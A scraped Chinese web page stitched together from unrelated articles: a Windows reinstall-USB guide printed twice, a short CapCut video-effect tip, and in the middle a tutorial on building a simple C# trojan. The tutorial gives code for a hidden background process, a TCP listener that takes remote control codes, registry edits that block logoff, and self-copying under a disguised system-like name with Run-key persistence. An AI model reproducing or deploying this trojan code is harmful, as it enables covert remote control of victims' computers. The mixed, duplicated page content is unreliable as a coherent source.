简单几步制作重装系统U盘,轻松实现一键启动还原
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软件支持 在线重装、U盘制作、自定义重装 等多种模式。
简介:重装系统是一项常见的电脑维
【菜科解读】
软件支持 在线重装、U盘制作、自定义重装 等多种模式。
简介:重装系统是一项常见的电脑维护任务,它可以帮助我们解决系统故障、病毒感染、性能下降等问题。
然而,对于许多用户来说,重装系统可能是一个复杂而令人生畏的过程。
本文将介绍如何使用U盘制作一键启动还原盘,让重装系统变得简单易行。
工具原料:
系统版本:Windows 10 21H2
品牌型号:联想 ThinkPad X1 Carbon
软件版本:魔法猪装机大师 v5.1
一、准备工作1、准备一个容量至少为8GB的U盘,建议使用USB 3.0及以上版本以提高读写速度。
2、下载魔法猪装机大师软件,该软件可以一键制作重装系统U盘,操作简单,适合新手使用。
二、制作重装系统U盘1、插入U盘,运行魔法猪装机大师软件,点击"一键制作重装U盘"按钮。
2、选择要安装的Windows版本,例如Windows 10 21H2,并选择U盘盘符。
3、点击"开始制作"按钮,等待制作完成。
制作过程可能需要10-20分钟,请耐心等待。
三、使用重装系统U盘1、将制作好的U盘插入需要重装系统的电脑,开机进入BIOS设置U盘为第一启动项。
2、保存BIOS设置并重启电脑,系统将自动从U盘启动进入PE环境。
3、在PE环境中,选择"一键重装系统"功能,按照提示进行操作,等待系统安装完成即可。
内容延伸:1、除了魔法猪装机大师,还有许多其他优秀的一键重装系统软件,如菜科网一键重装系统、口袋装机等。
这些软件都可以帮助我们快速制作重装系统U盘,方便实用。
2、重装系统前,建议先备份重要数据,以免数据丢失。
同时,也要准备好必要的驱动程序,以便在系统安装完成后及时安装。
3、如果你的电脑支持UEFI启动,可以考虑使用GPT分区格式,它比传统的MBR分区更加先进和安全。
不过,在制作U盘时需要选择对应的启动方式和分区格式。
总结:
重装系统是一项实用的电脑维护技能,掌握一键制作重装系统U盘的方法,可以让这个过程变得简单高效。
无论你是新手还是专业人士,使用魔法猪装机大师等软件都可以轻松完成重装系统的任务。
希望本文能够帮助大家更好地维护自己的电脑,享受高性能、高稳定的系统环境。
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Win7系统升级指南:全面解析升级步骤与要点 Win7系统损坏修复教程:详细步骤助你快速解决问题 简单几步制作重装系统U盘,轻松实现一键启动还原 分类于: 回答于:2024-03-31
简介:重装系统是一项常见的电脑维护任务,它可以帮助我们解决系统故障、病毒感染、性能下降等问题。
然而,对于许多用户来说,重装系统可能是一个复杂而令人生畏的过程。
本文将介绍如何使用U盘制作一键启动还原盘,让重装系统变得简单易行。
工具原料:
系统版本:Windows 10 21H2
品牌型号:联想 ThinkPad X1 Carbon
软件版本:魔法猪装机大师 v5.1
一、准备工作1、准备一个容量至少为8GB的U盘,建议使用USB 3.0及以上版本以提高读写速度。
2、下载魔法猪装机大师软件,该软件可以一键制作重装系统U盘,操作简单,适合新手使用。
二、制作重装系统U盘1、插入U盘,运行魔法猪装机大师软件,点击"一键制作重装U盘"按钮。
2、选择要安装的Windows版本,例如Windows 10 21H2,并选择U盘盘符。
3、点击"开始制作"按钮,等待制作完成。
制作过程可能需要10-20分钟,请耐心等待。
三、使用重装系统U盘1、将制作好的U盘插入需要重装系统的电脑,开机进入BIOS设置U盘为第一启动项。
2、保存BIOS设置并重启电脑,系统将自动从U盘启动进入PE环境。
3、在PE环境中,选择"一键重装系统"功能,按照提示进行操作,等待系统安装完成即可。
内容延伸:1、除了魔法猪装机大师,还有许多其他优秀的一键重装系统软件,如菜科网一键重装系统、口袋装机等。
这些软件都可以帮助我们快速制作重装系统U盘,方便实用。
2、重装系统前,建议先备份重要数据,以免数据丢失。
同时,也要准备好必要的驱动程序,以便在系统安装完成后及时安装。
3、如果你的电脑支持UEFI启动,可以考虑使用GPT分区格式,它比传统的MBR分区更加先进和安全。
不过,在制作U盘时需要选择对应的启动方式和分区格式。
总结:
重装系统是一项实用的电脑维护技能,掌握一键制作重装系统U盘的方法,可以让这个过程变得简单高效。
无论你是新手还是专业人士,使用魔法猪装机大师等软件都可以轻松完成重装系统的任务。
希望本文能够帮助大家更好地维护自己的电脑,享受高性能、高稳定的系统环境。
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用C#实现简单木马程序
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。
控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。
技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求使用了.NET类中的 System.Net.Sockets.TcpClient类,TcpClient(string hostname,int port)Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类private void button7_Click(object sender, System.EventArgs e){//记录操作,在richTextBox控件中增加操作信息richTextBox1.AppendText("请求连接" +textBox1.Text +" ");int port =6678;try{//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口client = new TcpClient(textBox1.Text,port);}catch{MessageBox.Show("服务器不在线!确定是否输入主机名称.");richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");}}//private void buttion2、测试是否与被控制机连接上。
程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。
//提供网络访问的数据流//private NetworkStream stream;代码如下:private void button8_Click(object sender, System.EventArgs e){//纪录操作 richTextBox1.AppendText("测试连接" +" ");try{stream = client.GetStream();if(stream.CanWrite){//发送控制码string control = "jiance";byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());stream.Write(by,0,by.Length);//下次使用stream.Flush();//启动接收反回数据的线程//receive是线程执行的函数,见后面的分析threadReceive = new Thread(new ThreadStart(receive));threadReceive.Start();}}catch(Exception ee){richTextBox1.AppendText (ee.Message+" ");MessageBox.Show(ee.Message);}}3、控制生效的代码private void button9_Click(object sender, System.EventArgs e){//这里是确定要发送的控制码,RadioButton是窗体控件if(radioButton1.Checked){ control = form2.zhucex;}else if(radioButton2.Checked){ control =form3.zhuces;}else if(radioButton3.Checked){ control = warring;}else if(radioButton4.Checked){ control =suggest;}else if(radioButton5.Checked){ control =form4.mumawe;}else if(radioButton6.Checked){ control =drop;}if (control =="000000"){ MessageBox.Show("你没有输入任何控制目标!不发控制信号");richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");}else if(control != "000000"){try{//记录操作richTextBox1.AppendText (control + "正在试图控制,等待回应......" + " ");stream = client.GetStream();if(stream.CanWrite ){byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());stream.Write(by,0,by.Length);stream.Flush();threadReceive =new Thread(new ThreadStart(receive));threadReceive.Start();}//endif}//trycatch{richTextBox1.AppendText("服务器未连接1控制无效!" +" ");MessageBox.Show("服务器未连接1控制无效!" +" ");}}//else if}4、线程执行的函数private void receive(){//设置读取数据的空间byte[] bb = new byte[3];//读取3个字节,i为实际读取的字节数int i = stream.Read(bb,0,3);//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);string ss = System.Text.Encoding.ASCII.GetString(bb);//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功if(ss=="hjc"){MessageBox.Show("连接成功");richTextBox1.AppendText("连接成功");}if(ss== "hkz"){richTextBox1.AppendText(control +"控制成功"+" ");MessageBox.Show(control +"控制成功"+" ");}}服务端的开发:要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为 Mininized即可,这样窗体就可以隐藏运行了。
当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:private void InitializeComponent(){//// Form1////窗体显示的起点和大小this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);this.ClientSize = new System.Drawing.Size(368, 357);//窗体名称this.Name = "Form1";//设置属性让它后台运行this.ShowInTaskbar = false;this.Text = "Form1";this.WindowState = System.Windows.Forms.FormWindowState.Minimized;}2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:public Form1() //窗体的构造函数{//// Windows 窗体设计器支持所必需的//InitializeComponent();//// TODO: 在 InitializeComponent 调用后添加任何构造函数代码//加入你的侦听代码//端口你可以自已设定,我使用了固定的端口int port =6678;//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的listener = new TcpListener(port);//启动侦听listener.Start();//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()//reControlCode 是线程启动执行的函数,此函数根据接收的控制//控制码选取合适的注册表修改函数Thread thread = new Thread(new ThreadStart(reControlCode));thread.Start();}reControlCode函数如下,完整代码见程序private void reControlCode(){//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求socket = listener.AcceptSocket();//如果连接成功执行while (socket.Connected){//接收控制码byte [] by =new byte[6];int i = socket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);//根据控制码执行不同的功能//修改注册表加入编码switch (ss){case "jiance"://测试连接,返回测试信息string str ="hjc";byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case "zx1000"://修改注册表函数,自已定义,见下面分析UnLogOff();//返回控制消息retMessage();break; case "zx0100"://修改注册表函数UnClose();//返回控制消息retMessage();break;//重复的case功能与前面一样,略掉default:break;}//case}//while} //private void reControlCode 3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。
下面就可以看到它的用法。
这里我做了一个修改注册表的子程序:使计算机不能注销。
在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer下面设键值NoLogOff 为 1 即可使计算机无法注销。
在下面的函数中用C#实现对注册表的修改:private void UnLogOff(){//得到主机的注册表的顶级节点Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;//设置一个注册表子键的变量RegistryKey key1;try{//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改key1 =rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);//设置子键的键名,和值key1.SetValue ("NoLogOff",1);//关闭打开的子键key1.Close();//警告字符串设定mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}//如果不存在自已建立if(key1 ==null){try{ //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}}}4、在木马程序中还有一个重要的功能就是自我的复制和转移。
木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。
转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。
使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。
这里我们使用了System.IO.File类。
-- -www.bianceng.cnprivate void moveCC1(){try{//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用//sourceFileName为要移动的文件名,destFileName为文件的新路径File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");}catch {}//将新移的木马程序设为自启动.分析和前面一样try{key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");key1.Close();}catch{}if(key1 ==null){try{RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");key1.Close();}catch{}}} //moveCC1()到这里一个简单的C#的木马就完成了。
用,实现,简单,木马,程序,用,实现,木马,程序,
剪映蚂蚁呀嘿如何制作多人
剪映蚂蚁呀嘿怎么制作多人 剪映蚂蚁呀嘿特效怎么做1、首先我们下载剪映APP2、下载安装完成后,打开剪映,点击左上角的“开始创作”,导入自己录制的摇头视频;3、然后选择录制好的的素材视频导入;4、接着再点击下方的【画中画】,导入奥特曼、程咬金摇头的绿布素材视频,调整到合适的大小,将自己摇头的视频调整到右上角合适位置;5、最后添加收藏的音乐后发布到抖音,这样就OK了。
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